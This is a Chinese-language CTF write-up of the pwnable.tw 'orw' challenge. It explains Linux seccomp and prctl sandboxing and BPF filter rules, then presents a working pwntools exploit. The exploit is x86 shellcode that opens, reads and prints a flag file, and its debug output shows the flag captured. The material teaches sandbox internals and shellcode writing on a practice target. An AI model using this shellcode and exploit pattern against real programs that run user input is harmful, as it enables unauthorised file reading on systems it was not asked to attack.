初探(Linux Kernel)sandbox中的prctl-seccomp机制(orw)
题目来源:https://pwnable.tw/challenge/#2(orw) 参考资料:https://www.anquanke.com/post/id/186447 https://man7.org/linux/man-pages/man2/prctl.2.html https://blog.betamao.me/2019/01/23/Linux%E6%B2%99%E7%AE%B1%E4%B9%8Bseccomp/ 附件: 链接: https://pan.baidu.com/s/1ppU1-qZEBHQtNcrTwzXx-A 密码: hvqc –来自百度网盘超级会员V3的分享
prctl-seccomp 简介 seccomp 是 secure computing 的缩写,其是从 Linux kernel 2.6.23版本引入的一种简洁的 sandbox 机制,可以当作沙箱使用。在编写C语言程序过程中,可以通过引入prctl函数来实现内核级的安全机制;程序编译运行后,相当于进程进入到一种“安全”运行模式。为什么要引入这样一种安全机制?正常情况下在 Linux 系统里,大量的系统调用(system call)会直接暴露给用户态程序,也就是说程序可以使用所有的syscall,此时如果劫持程序流程通过exeve或system来调用syscall就会获得用户态的shell权限。可以看到并不是所有的系统调用都被需要,不安全的代码滥用系统调用会对系统造成安全威胁。为了防范这种攻击方式,这时seccomp就派上了用场,在严格模式下的进程只能调用4种系统调用,即 read()、write()、 exit() 和 sigreturn(),其他的系统调用都会杀死进程,过滤模式下可以指定允许那些系统调用,规则是bpf,可以使用seccomp-tools查看。
sandbox:沙箱、沙盒
安装方式:https://github.com/david942j/seccomp-tools
$ gem install seccomp-tools
sudo apt install gcc ruby-dev
执行如下图中命令即可查看此ELF文件中可用的系统调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ctfshow@ubuntu:/mnt/hgfs/PWN题/Range/pwnable.xyz$ seccomp-tools dump ./orww line CODE JT JF K ================================= 0000 : 0x20 0x00 0x00 0x00000004 A = arch 0001 : 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011 0002 : 0x20 0x00 0x00 0x00000000 A = sys_number 0003 : 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011 0004 : 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011 0005 : 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011 0006 : 0x15 0x04 0x00 0x00000001 if (A == exit ) goto 0011 0007 : 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011 0008 : 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011 0009 : 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011 0010 : 0x06 0x00 0x00 0x00050026 return ERRNO(38 ) 0011 : 0x06 0x00 0x00 0x7fff0000 return ALLOW
##从IDA开始分析题目
将题目下载下来,我们先来看一下程序的代码,直接来到main函数:
1 2 3 4 5 6 7 8 int __cdecl main (int argc, const char **argv, const char **envp) { orw_seccomp(); printf ("Give my your shellcode:" ); read(0 , &shellcode, 0xC8 u); ((void (*)(void ))shellcode)(); return 0 ; }
进入orw_seccomp();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 unsigned int orw_seccomp () { __int16 v1; char *v2; char v3[96 ]; unsigned int v4; v4 = __readgsdword(0x14 u); qmemcpy(v3, &unk_8048640, sizeof (v3)); v1 = 12 ; v2 = v3; prctl(38 , 1 , 0 , 0 , 0 ); prctl(22 , 2 , &v1); return __readgsdword(0x14 u) ^ v4; }
我们注意一下代码中的两个prctl:
prctl(38, 1, 0, 0, 0)
prctl(22, 2, &v1);
先记住这两个函数,接下来会提到,这里暂时先放一放。
prctl函数原型 看一下这个函数的原型:
1 2 #include <sys/prctl.h> int prctl (int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) ;
函数中有5个参数,重点来看一下参数中的“int option”,因为option的中文本意是选择,了解了这个参数我们也就知道整个函数要干嘛,这里我们需要重点关注两个选项:
1 2 PR_SET_NO_NEW_PRIVS PR_SET_SECCOMP
先来看第一个,PR_SET_NO_NEW_PRIVS:
1 2 3 4 5 6 7 8 9 Set the calling thread' s no_new_privs attribute to the value in arg2. With no_new_privs set to 1 , execve(2 ) promises not to grant privileges to do anything that could not have been done without the execve (2 ) call (for example, rendering the set -user-ID and set -group-ID mode bits, and file capabilities non-functional) . Once set , the no_new_privs attribute cannot be unset. The setting of this attribute is inherited by children created byfork (2 ) and clone (2 ) , and preserved across execve (2 ) .
简单的说,如果 option 设置为 PR_SET_NO_NEW_PRIVS并且第二个参数(unsigned long arg2)设置为 1,那么这个可执行文件不能够进行execve的系统调用(system 函数、one_gadget失效,但是其他的系统调用仍可以正常运行),同时这个选项还会继承给子进程。放到prctl函数中就是:
1 prctl(PR_SET_NO_NEW_PRIVS,1 ,0 ,0 ,0 );
https://blog.betamao.me/2019/01/23/Linux%E6%B2%99%E7%AE%B1%E4%B9%8Bseccomp/ 在早期使用seccomp是使用prctl系统调用实现的,后来封装成了一个libseccomp库,可以直接使用seccomp_init,seccomp_rule_add,seccomp_load来设置过滤规则,但是我们学习的还是从prctl,这个系统调用是进行进程控制的,这里关注seccomp功能。 首先,要使用它需要有CAP_SYS_ADMIN权能,否则就要设置PR_SET_NO_NEW_PRIVS位,若不这样做非root用户使用这个程序时seccomp保护将会失效!设置了PR_SET_NO_NEW_PRIVS位后能保证seccomp对所有用户都能起作用,并且会使子进程即execve后的进程依然受控,意思就是即使执行execve这个系统调用替换了整个binary权限不会变化,而且正如其名它设置以后就不能再改了,即使可以调用ptctl也不能再把它禁用掉。
在 include/linux/prctl.h 中找到 PR_SET_NO_NEW_PRIVS 常量对应的数值,正好是 38,因此也就对应上了上述题目中的第一个 prctl 语句。
接着看第二个options PR_SET_SECCOMP:
Set the secure computing (seccomp) mode for the calling thread,
to limit the available system calls.
一句话,这个参数是用来设置 seccomp ,其实也就是设置沙箱是否开启。 常常与它在prctl出现的还有如下两个参数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 SECCOMP_MODE_STRICT: the only system calls that the thread is permitted to make are read (2 ) , write (2 ) ,_exit (2 ) (but not exit_group(2 )) , and sigreturn (2 ) . SECCOMP_MODE_FILTER (since Linux 3.5 ) : the system calls allowed are defined by a pointer to a Berkeley Packet Filter passed in arg3. This argument is a pointer to struct sock_fprog; it can be designed to filter arbitrary system calls and system call arguments. 1 、SECCOMP_MODE*STRICT (1 ) : 允许线程进行的唯一系统调用是read(2),write(2),*exit (2)(但不是exit_group(2)) 和sigreturn(2)。 2、SECCOMP_MODE_FILTER (2 ) (since Linux 3.5 ) : 允许的系统调用由指向arg3中传递的Berkeley Packet Filter的指针定义。 这个参数是一个指向struct sock_fprog的指针; 它可以设计为过滤任意系统调用和系统调用参数
上述英文大概说的是如果设置了 SECCOMP_MODE_STRICT 模式的话,系统调用只能使用 read, write,_exit 这三个。如果设置了 SECCOMP_MODE_FILTER 的话,系统调用规则就可以被 Berkeley Packet Filter(BPF) 的规则所定义,这玩意就是这里最最重点的东西了,这个东西文章后面说。 将这几个参数带入到prctl:
1 2 3 prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
其中SECCOMP_MODE_FILTER 可以用常量表示为 2,回到之前的题,在第二个 prctl 函数中执行的就是:
上面v1所储存的内容表示设置沙箱规则,从而可以实现改变函数的系统调用(通行或者禁止):我们在IDA中具体看一下v1所定义的规则:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 .rodata:08048640 20 unk_8048640 db 20 h ; DATA XREF: orw_seccomp+17 ↑o .rodata:08048641 00 db 0 .rodata:08048642 00 db 0 .rodata:08048643 00 db 0 .rodata:08048644 04 db 4 .rodata:08048645 00 db 0 .rodata:08048646 00 db 0 .rodata:08048647 00 db 0 .rodata:08048648 15 db 15 h .rodata:08048649 00 db 0 .rodata:0804864 A 00 db 0 .rodata:0804864B 09 db 9 .rodata:0804864 C 03 db 3 .rodata:0804864 D 00 db 0 .rodata:0804864 E 00 db 0 .rodata:0804864F 40 db 40 h ; @ .rodata:08048650 20 db 20 h .rodata:08048651 00 db 0 .rodata:08048652 00 db 0 .rodata:08048653 00 db 0 .rodata:08048654 00 db 0 .rodata:08048655 00 db 0 .rodata:08048656 00 db 0 .rodata:08048657 00 db 0 .rodata:08048658 15 db 15 h .rodata:08048659 00 db 0 .rodata:0804865 A 07 db 7 .rodata:0804865B 00 db 0 .rodata:0804865 C AD db 0 ADh
好家伙,我直接看不懂。但是其实这些内容已经在前面出现过:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ctfshow@ubuntu:/mnt/hgfs/PWN题/Range/pwnable.xyz$ seccomp-tools dump ./orww line CODE JT JF K ================================= 0000 : 0x20 0x00 0x00 0x00000004 A = arch 0001 : 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011 0002 : 0x20 0x00 0x00 0x00000000 A = sys_number 0003 : 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011 0004 : 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011 0005 : 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011 0006 : 0x15 0x04 0x00 0x00000001 if (A == exit ) goto 0011 0007 : 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011 0008 : 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011 0009 : 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011 0010 : 0x06 0x00 0x00 0x00050026 return ERRNO(38 ) 0011 : 0x06 0x00 0x00 0x7fff0000 return ALLOW
从图中可以看出现在只有open、write、read、sigreturn这四个系统调用可以使用。 对照一下,是不是一模一样?但是这些内容又意味这什么?上面的line、CODE、JT、JF、K又是什么意思?
BPF 规则介绍 Q:BPF是数据链路层上的一种接口,它怎么会出现在系统调用中?
A:其实这原本是TCP协议包的过滤规则格式,后面被引用为沙箱规则。
简单的说BPF定义了一个伪机器。这个伪机器可以执行代码,有一个累加器,寄存器(RegA),和赋值、算术、跳转指令。一条指令由一个定义好的结构struct bpf_insn表示,与真正的机器代码很相似,若干个这样的结构组成的数组,就成为 BPF 的指令序列。
&prog是指向如下结构体的指针,这个结构体记录了过滤规则个数与规则数组起始位置:
1 2 3 4 struct sock_fprog { unsigned short len; struct sock_filter *filter ; };
而filter域就指向了具体的规则,每一条规则有如下形式:
1 2 3 4 5 6 struct sock_filter { __u16 code; __u8 jt; __u8 jf; __u32 k; };
为了操作方便定义了一组宏来完成filter的填写(定义在/usr/include/linux/bpf_common.h):
1 2 3 4 5 6 #ifndef BPF_STMT #define BPF_STMT(code, k) { (unsigned short)(code), 0, 0, k } #endif #ifndef BPF_JUMP #define BPF_JUMP(code, k, jt, jf) { (unsigned short)(code), jt, jf, k } #endif
样会简单一点,再来看看code,它是由多个”单词”组成的”短语”,类似”动宾结构”,”单词”间使用”+”连接:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 #define BPF_CLASS(code) ((code) & 0x07) #define BPF_LD 0x00 #define BPF_LDX 0x01 #define BPF_ST 0x02 #define BPF_STX 0x03 #define BPF_ALU 0x04 #define BPF_JMP 0x05 #define BPF_RET 0x06 #define BPF_MISC 0x07 #define BPF_SIZE(code) ((code) & 0x18) #define BPF_W 0x00 #define BPF_H 0x08 #define BPF_B 0x10 #define BPF_MODE(code) ((code) & 0xe0) #define BPF_IMM 0x00 #define BPF_ABS 0x20 #define BPF_IND 0x40 #define BPF_MEM 0x60 #define BPF_LEN 0x80 #define BPF_MSH 0xa0 #define BPF_OP(code) ((code) & 0xf0) #define BPF_ADD 0x00 #define BPF_SUB 0x10 #define BPF_MUL 0x20 #define BPF_DIV 0x30 #define BPF_OR 0x40 #define BPF_AND 0x50 #define BPF_LSH 0x60 #define BPF_RSH 0x70 #define BPF_NEG 0x80 #define BPF_MOD 0x90 #define BPF_XOR 0xa0 #define BPF_JA 0x00 #define BPF_JEQ 0x10 #define BPF_JGT 0x20 #define BPF_JGE 0x30 #define BPF_JSET 0x40 #define BPF_SRC(code) ((code) & 0x08) #define BPF_K 0x00 #define BPF_X 0x08
另外与SECCOMP有关的定义在/usr/include/linux/seccomp.h,现在来看看怎么写规则,首先是BPF_LD,它需要用到的结构为:
1 2 3 4 5 6 7 struct seccomp_data { int nr; __u32 arch; __u64 instruction_pointer; __u64 args[6 ]; };
其中args中是6个寄存器,在32位下是:ebx,ecx,edx,esi,edi,ebp,在64位下是:rdi,rsi,rdx,r10,r8,r9,现在要将syscall时eax的值载入RegA,可以使用:
1 2 3 4 BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0 ) BPF_STMT(BPF_LD+BPF_W+BPF_ABS,regoffset(eax))
而跳转语句写法如下:
1 2 BPF_JUMP(BPF_JMP+BPF_JEQ,59 ,1 ,0 )
其中后两个参数代表成功跳转到第几条规则,失败跳转到第几条规则,这是相对偏移。 最后当验证完成需要返回结果,即是否允许:
1 BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL)
过滤的规则列表里可以有多条规则,seccomp会从第0条开始逐条执行,直到遇到BPF_RET返回,决定是否允许该操作以及做某些修改。 总结一下:
结构赋值操作指令为 :BPF_STMT、BPF_JUMP
BPF 的主要指令有 BPF_LD,BPF_ALU,BPF_JMP,BPF_RET 等。BPF_LD 将数据装入累加器,BPF_ALU 对累加器执行算术命令,BPF_JMP 是跳转指令,BPF_RET 是程序返回指令
BPF 条件判断跳转指令:BPF_JMP、BPF_JEQ,根据后面的几个参数进行判断,然后跳转到相应的地方。
返回指令 :BPF_RET、BPF_K,返回后面参数的值
例如ByteCTF中一道堆题的sock_filter结构体如下(和此篇文章中的题目无关,仅供参考)
1 2 3 4 5 6 7 struct sock_filter filter [] = { BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0 ), BPF_JUMP(BPF_JMP|BPF_JEQ, 257 , 1 , 0 ), BPF_JUMP(BPF_JMP|BPF_JGE, 0 , 1 , 0 ), BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ERRNO), BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW), };
拿本题的sock_filter结构体说明一下:
1 2 3 4 5 6 7 8 line CODE JT JF K ================================= 0000 : 0x20 0x00 0x00 0x00000004 A = arch 0001 : 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011 0002 : 0x20 0x00 0x00 0x00000000 A = sys_number 0008 : 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011 0010 : 0x06 0x00 0x00 0x00050026 return ERRNO(38 ) 0011 : 0x06 0x00 0x00 0x7fff0000 return ALLOW
line 1表示这道题需要运行在架构不为i386的机器或环境中,否则直接返回ERROR。 line 8表示如果传入的系统调用号为read,则允许执行,否则直接结束进程。
开始解题 经过前面的分析我们已经知道了此题只能使用只能使用 read、write、_exit、open。 老规矩,检查一下文件的保护机制:
1 2 3 4 5 6 7 8 ctfshow@ubuntu:/mnt/hgfs/PWN题/Range/pwnable.xyz$ checksec orww [*] '/mnt/hgfs/PWN\xe9\xa2\x98/Range/pwnable.xyz/orww' Arch: i386-32 -little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000 ) RWX: Has RWX segments
可以看到程序为32位,只开启了NX保护。main函数如下:
1 2 3 4 5 6 7 8 int __cdecl main (int argc, const char **argv, const char **envp) { orw_seccomp(); printf ("Give my your shellcode:" ); read(0 , &shellcode, 0xC8 u); ((void (*)(void ))shellcode)(); return 0 ; }
很简单,输入shellcode之后程序就会执行它。 还有一个问题,system和execve都被禁用了怎么办? 读取flag的方式有很多,虽然无法拿到shell,但是我们可以用open、read、write三个系统调用去读flag,flag放在了/home/orw/flag。 同时题目已经给予了这个提示:
因此这里考验我们直接编写shellcode的能力,这里注意 • 对于32位程序,应调用int $0x80进入系统调用,将系统调用号传入eax,各个参数按照ebx、ecx、edx的顺序传递到寄存器中,系统调用返回值储存到eax寄存器。 • 对于64位程序,应调用syscall进入系统调用,将系统调用号传入rax,各个参数按照rdi、rsi、rdx的顺序传递到寄存器中,系统调用返回值储存到rax寄存器。 由于这道题是32位程序,因此编写shellcode如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import * context.log_level="debug" p = remote('chall.pwnable.tw' , 10001 ) shellcode_open = 'xor eax,eax;xor ebx,ebx;xor ecx,ecx;xor edx,edx;push 0x00006761;push 0x6c662f77;push 0x726f2f65;push 0x6d6f682f;mov ebx,esp;mov eax,0x5;int 0x80;' shellcode_read = 'mov ebx,eax;mov ecx,0x0804A260;mov edx,0x40;mov eax,0x3;int 0x80;' shellcode_write = 'mov ebx,0x1;mov ecx,0x0804A260;mov edx,0x40;mov eax,0x4;int 0x80;' shellcode = shellcode_open + shellcode_read + shellcode_write shellcode = asm (shellcode) p.recvuntil(':' ) p.sendline(shellcode) print p.recv() p.interactive()''' shellcode说明: xor eax,eax ;清空需要用到的寄存器 xor ebx,ebx xor ecx,ecx xor edx,edx#fd = open('/home/orw/flag' ,0) push 0x00006761 ; ;"/home/orw/flag" 的十六进制 push 0x6c662f77 ; ;"/home/orw/flag" 的十六进制 push 0x726f2f65 ; ;"/home/orw/flag" 的十六进制 push 0x6d6f682f ; ;"/home/orw/flag" 的十六进制 mov ebx, esp; ;const char __user *filename mov eax, 0x5 ; ;open函数的系统调用:sys_openint 0x80 ;#read(fd,bss+0x200,0x40) mov ebx, eax; ;int fd mov ecx, 0x0804A260 ; ;void *buf mov edx, 0x40 ; ;size_t count mov eax, 0x3 ; ;read函数的系统调用:sys_readint 0x80 ;#write(1,bss+0x200,0x40) mov ebx, 0x1 ; ;int fd=1 (标准输出stdout )(0 标准输入,1 标准输出,2 标准错误输出) mov ecx, 0x0804A260 ; ;void *buf mov edx, 0x40 ; ;size_t count mov eax, 0x4 ; ;read函数的系统调用:sys_readint 0x80 ;'''
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 ➜ others python orw_exp.py [+] Opening connection to chall.pwnable.tw on port 10001 : Done [DEBUG] cpp -C -nostdinc -undef -P -I/home/ubuntu/.local/lib/python2.7 /site-packages/pwnlib/data/includes /dev/stdin [DEBUG] Assembling .section .shellcode,"awx" .global _start .global __start _start: __start: .intel_syntax noprefix xor eax,eax;xor ebx,ebx;xor ecx,ecx;xor edx,edx;push 0x00006761 ;push 0x6c662f77 ;push 0x726f2f65 ;push 0x6d6f682f ;mov ebx,esp;mov eax,0x5 ;int 0x80 ;mov ebx,eax;mov ecx,0x0804A260 ;mov edx,0x40 ;mov eax,0x3 ;int 0x80 ;mov ebx,0x1 ;mov ecx,0x0804A260 ;mov edx,0x40 ;mov eax,0x4 ;int 0x80 ; [DEBUG] /usr/bin/x86_64-linux-gnu-as -32 -o /tmp/pwn-asm -7b YAEr/step2 /tmp/pwn-asm -7b YAEr/step1 [DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm -7b YAEr/step3 /tmp/pwn-asm -7b YAEr/step4 [DEBUG] Received 0x17 bytes: 'Give my your shellcode:' [DEBUG] Sent 0x4f bytes: 00000000 31 c0 31 db 31 c9 31 d2 68 61 67 00 00 68 77 2f │1 ·1 ·│1 ·1 ·│hag·│·hw/│ 00000010 66 6 c 68 65 2f 6f 72 68 2f 68 6f 6 d 89 e3 b8 05 │flhe│/orh│/hom│····│ 00000020 00 00 00 cd 80 89 c3 b9 60 a2 04 08 ba 40 00 00 │····│····│`···│·@··│ 00000030 00 b8 03 00 00 00 cd 80 bb 01 00 00 00 b9 60 a2 │····│····│····│··`·│ 00000040 04 08 ba 40 00 00 00 b8 04 00 00 00 cd 80 0 a │···@│····│····│···│ 0000004f [DEBUG] Received 0x40 bytes: 00000000 46 4 c 41 47 7b 73 68 33 6 c 6 c 63 30 64 69 6 e 67 │FLAG│{sh3│llc0│ding│ 00000010 5f 77 31 74 68 5f 6f 70 33 6 e 5f 72 33 34 64 5f │_w1t│h_op│3 n_r│34 d_│ 00000020 77 72 69 74 33 7 d 0 a 00 00 00 00 00 00 00 00 00 │writ│3 }··│····│····│ 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000040 FLAG{sh3llc0ding_w1th_op3n_r34d_writ3} \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 [*] Switching to interactive mode [*] Got EOF while reading in interactive $
prctl是否能绕过? 可以,但是不会